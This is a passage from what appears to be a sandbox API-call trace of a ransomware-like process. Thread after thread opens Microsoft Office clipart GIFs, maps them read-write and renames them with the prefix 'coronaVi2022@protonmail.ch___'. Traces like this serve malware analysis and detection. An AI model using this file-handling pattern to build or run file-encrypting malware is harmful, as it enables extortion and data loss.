	[0106.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01300_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01300_.gif")) returned 1
	[0106.346] free (_Block=0x51f5098) 
	[0106.346] RtlExitUserThread (Status=0x0) 

Thread:
	id = 898
	os_tid = 0x1e7c

	[0106.348] _alloca_probe () returned 0x40328a
	[0106.349] GetCurrentThreadId () returned 0x1e7c
	[0106.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif", dwFileAttributes=0x80) returned 1
	[0106.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10cc
	[0106.350] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=681) returned 1
	[0106.350] CreateFileMappingA (hFile=0x10cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b1, lpName=0x0) returned 0x10d0
	[0106.350] MapViewOfFile (hFileMappingObject=0x10d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0106.350] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0106.350] CloseHandle (hObject=0x10d0) returned 1
	[0106.350] GetCurrentThreadId () returned 0x1e7c
	[0106.350] FlushFileBuffers (hFile=0x10cc) returned 1
	[0106.355] CloseHandle (hObject=0x10cc) returned 1
	[0106.355] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01301_.gif") returned 97
	[0106.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01301_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01301_.gif")) returned 1
	[0106.358] free (_Block=0x51f90b8) 
	[0106.358] RtlExitUserThread (Status=0x0) 

Thread:
	id = 899
	os_tid = 0x1e80

	[0106.401] _alloca_probe () returned 0x40328a
	[0106.402] GetCurrentThreadId () returned 0x1e80
	[0106.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif", dwFileAttributes=0x80) returned 1
	[0106.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1078
	[0106.403] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=8310) returned 1
	[0106.403] CreateFileMappingA (hFile=0x1078, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x207b, lpName=0x0) returned 0x10cc
	[0106.403] MapViewOfFile (hFileMappingObject=0x10cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.405] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.405] CloseHandle (hObject=0x10cc) returned 1
	[0106.405] GetCurrentThreadId () returned 0x1e80
	[0106.405] FlushFileBuffers (hFile=0x1078) returned 1
	[0106.408] CloseHandle (hObject=0x1078) returned 1
	[0106.408] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01304G.gif") returned 97
	[0106.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01304G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01304g.gif")) returned 1
	[0106.409] free (_Block=0x51f4090) 
	[0106.409] RtlExitUserThread (Status=0x0) 

Thread:
	id = 900
	os_tid = 0x1e84

	[0106.410] _alloca_probe () returned 0x40328a
	[0106.411] GetCurrentThreadId () returned 0x1e84
	[0106.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif", dwFileAttributes=0x80) returned 1
	[0106.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10cc
	[0106.412] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=370) returned 1
	[0106.412] CreateFileMappingA (hFile=0x10cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x173, lpName=0x0) returned 0x10d0
	[0106.412] MapViewOfFile (hFileMappingObject=0x10d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.412] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.412] CloseHandle (hObject=0x10d0) returned 1
	[0106.412] GetCurrentThreadId () returned 0x1e84
	[0106.412] FlushFileBuffers (hFile=0x10cc) returned 1
	[0106.414] CloseHandle (hObject=0x10cc) returned 1
	[0106.414] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01330_.gif") returned 97
	[0106.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01330_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01330_.gif")) returned 1
	[0106.415] free (_Block=0x51f0070) 
	[0106.415] RtlExitUserThread (Status=0x0) 

Thread:
	id = 901
	os_tid = 0x1e88

	[0106.417] _alloca_probe () returned 0x40328a
	[0106.418] GetCurrentThreadId () returned 0x1e88
	[0106.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif", dwFileAttributes=0x80) returned 1
	[0106.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0
	[0106.418] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2201) returned 1
	[0106.418] CreateFileMappingA (hFile=0x10d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a1, lpName=0x0) returned 0x10d4
	[0106.418] MapViewOfFile (hFileMappingObject=0x10d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.420] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.420] CloseHandle (hObject=0x10d4) returned 1
	[0106.420] GetCurrentThreadId () returned 0x1e88
	[0106.420] FlushFileBuffers (hFile=0x10d0) returned 1
	[0106.422] CloseHandle (hObject=0x10d0) returned 1
	[0106.423] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01734_.gif") returned 97
	[0106.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01734_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01734_.gif")) returned 1
	[0106.423] free (_Block=0x51f3088) 
	[0106.423] RtlExitUserThread (Status=0x0) 

Thread:
	id = 902
	os_tid = 0x1e8c

	[0106.468] _alloca_probe () returned 0x40328a
	[0106.468] GetCurrentThreadId () returned 0x1e8c
	[0106.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif", dwFileAttributes=0x80) returned 1
	[0106.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d4
	[0106.469] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=707) returned 1
	[0106.469] CreateFileMappingA (hFile=0x10d4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c5, lpName=0x0) returned 0x10d8
	[0106.469] MapViewOfFile (hFileMappingObject=0x10d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.470] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.470] CloseHandle (hObject=0x10d8) returned 1
	[0106.470] GetCurrentThreadId () returned 0x1e8c
	[0106.470] FlushFileBuffers (hFile=0x10d4) returned 1
	[0106.472] CloseHandle (hObject=0x10d4) returned 1
	[0106.472] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01740_.gif") returned 97
	[0106.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01740_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01740_.gif")) returned 1
	[0106.474] free (_Block=0x51f4090) 
	[0106.474] RtlExitUserThread (Status=0x0) 

Thread:
	id = 903
	os_tid = 0x1e90

	[0106.476] _alloca_probe () returned 0x40328a
	[0106.476] GetCurrentThreadId () returned 0x1e90
	[0106.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif", dwFileAttributes=0x80) returned 1
	[0106.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d8
	[0106.477] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=595) returned 1
	[0106.477] CreateFileMappingA (hFile=0x10d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x255, lpName=0x0) returned 0x10dc
	[0106.477] MapViewOfFile (hFileMappingObject=0x10dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.477] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.478] CloseHandle (hObject=0x10dc) returned 1
	[0106.478] GetCurrentThreadId () returned 0x1e90
	[0106.478] FlushFileBuffers (hFile=0x10d8) returned 1
	[0106.479] CloseHandle (hObject=0x10d8) returned 1
	[0106.480] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01742_.gif") returned 97
	[0106.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01742_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01742_.gif")) returned 1
	[0106.481] free (_Block=0x51f4090) 
	[0106.481] RtlExitUserThread (Status=0x0) 

Thread:
	id = 904
	os_tid = 0x1e94

	[0106.483] _alloca_probe () returned 0x40328a
	[0106.484] GetCurrentThreadId () returned 0x1e94
	[0106.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif", dwFileAttributes=0x80) returned 1
	[0106.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10dc
	[0106.484] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1237) returned 1
	[0106.484] CreateFileMappingA (hFile=0x10dc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d9, lpName=0x0) returned 0x10e0
	[0106.485] MapViewOfFile (hFileMappingObject=0x10e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.486] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.486] CloseHandle (hObject=0x10e0) returned 1
	[0106.486] GetCurrentThreadId () returned 0x1e94
	[0106.486] FlushFileBuffers (hFile=0x10dc) returned 1
	[0106.493] CloseHandle (hObject=0x10dc) returned 1
	[0106.494] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01743_.gif") returned 97
	[0106.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01743_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01743_.gif")) returned 1
	[0106.495] free (_Block=0x51f4090) 
	[0106.495] RtlExitUserThread (Status=0x0) 

Thread:
	id = 905
	os_tid = 0x1e98

	[0106.490] _alloca_probe () returned 0x40328a
	[0106.490] GetCurrentThreadId () returned 0x1e98
	[0106.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif", dwFileAttributes=0x80) returned 1
	[0106.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10e4
	[0106.491] GetFileSizeEx (in: hFile=0x10e4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=799) returned 1
	[0106.491] CreateFileMappingA (hFile=0x10e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32d, lpName=0x0) returned 0x10e8
	[0106.491] MapViewOfFile (hFileMappingObject=0x10e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.492] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.493] CloseHandle (hObject=0x10e8) returned 1
	[0106.493] GetCurrentThreadId () returned 0x1e98
	[0106.493] FlushFileBuffers (hFile=0x10e4) returned 1
	[0106.496] CloseHandle (hObject=0x10e4) returned 1
	[0106.496] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01744_.gif") returned 97
	[0106.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01744_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01744_.gif")) returned 1
	[0106.497] free (_Block=0x51f3088) 
	[0106.497] RtlExitUserThread (Status=0x0) 

Thread:
	id = 906
	os_tid = 0x1e9c

	[0106.499] _alloca_probe () returned 0x40328a
	[0106.500] GetCurrentThreadId () returned 0x1e9c
	[0106.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif", dwFileAttributes=0x80) returned 1
	[0106.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10dc
	[0106.500] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1452) returned 1
	[0106.500] CreateFileMappingA (hFile=0x10dc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b7, lpName=0x0) returned 0x10e8
	[0106.501] MapViewOfFile (hFileMappingObject=0x10e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.502] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.502] CloseHandle (hObject=0x10e8) returned 1
	[0106.502] GetCurrentThreadId () returned 0x1e9c
	[0106.502] FlushFileBuffers (hFile=0x10dc) returned 1
	[0106.504] CloseHandle (hObject=0x10dc) returned 1
	[0106.504] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01745_.gif") returned 97
	[0106.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01745_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01745_.gif")) returned 1
	[0106.505] free (_Block=0x51f4090) 
	[0106.505] RtlExitUserThread (Status=0x0) 

Thread:
	id = 907
	os_tid = 0x1ea0

	[0106.558] _alloca_probe () returned 0x40328a
	[0106.559] GetCurrentThreadId () returned 0x1ea0
	[0106.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif", dwFileAttributes=0x80) returned 1
	[0106.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10e8
	[0106.560] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=738) returned 1
	[0106.560] CreateFileMappingA (hFile=0x10e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e3, lpName=0x0) returned 0x10ec
	[0106.560] MapViewOfFile (hFileMappingObject=0x10ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.561] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.561] CloseHandle (hObject=0x10ec) returned 1
	[0106.561] GetCurrentThreadId () returned 0x1ea0
	[0106.561] FlushFileBuffers (hFile=0x10e8) returned 1
	[0106.563] CloseHandle (hObject=0x10e8) returned 1
	[0106.563] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01746_.gif") returned 97
	[0106.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01746_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01746_.gif")) returned 1
	[0106.564] free (_Block=0x51f5098) 
	[0106.564] RtlExitUserThread (Status=0x0) 

Thread:
	id = 908
	os_tid = 0x1ea4

	[0106.565] _alloca_probe () returned 0x40328a
	[0106.566] GetCurrentThreadId () returned 0x1ea4
	[0106.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif", dwFileAttributes=0x80) returned 1
	[0106.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10ec
	[0106.566] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=903) returned 1
	[0106.567] CreateFileMappingA (hFile=0x10ec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38d, lpName=0x0) returned 0x10f0
	[0106.567] MapViewOfFile (hFileMappingObject=0x10f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.568] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.568] CloseHandle (hObject=0x10f0) returned 1
	[0106.568] GetCurrentThreadId () returned 0x1ea4
	[0106.568] FlushFileBuffers (hFile=0x10ec) returned 1
	[0106.570] CloseHandle (hObject=0x10ec) returned 1
	[0106.570] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01747_.gif") returned 97
	[0106.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01747_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01747_.gif")) returned 1
	[0106.571] free (_Block=0x51f0070) 
	[0106.571] RtlExitUserThread (Status=0x0) 

Thread:
	id = 909
	os_tid = 0x1ea8

	[0106.572] _alloca_probe () returned 0x40328a
	[0106.573] GetCurrentThreadId () returned 0x1ea8
	[0106.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif", dwFileAttributes=0x80) returned 1
	[0106.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10f0
	[0106.574] GetFileSizeEx (in: hFile=0x10f0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=727) returned 1
	[0106.574] CreateFileMappingA (hFile=0x10f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dd, lpName=0x0) returned 0x10f4
	[0106.574] MapViewOfFile (hFileMappingObject=0x10f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.575] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.575] CloseHandle (hObject=0x10f4) returned 1
	[0106.575] GetCurrentThreadId () returned 0x1ea8
	[0106.575] FlushFileBuffers (hFile=0x10f0) returned 1
	[0106.577] CloseHandle (hObject=0x10f0) returned 1
	[0106.577] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01748_.gif") returned 97
	[0106.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01748_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01748_.gif")) returned 1
	[0106.578] free (_Block=0x51f80b0) 
	[0106.578] RtlExitUserThread (Status=0x0) 

Thread:
	id = 910
	os_tid = 0x1eac

	[0106.579] _alloca_probe () returned 0x40328a
	[0106.579] GetCurrentThreadId () returned 0x1eac
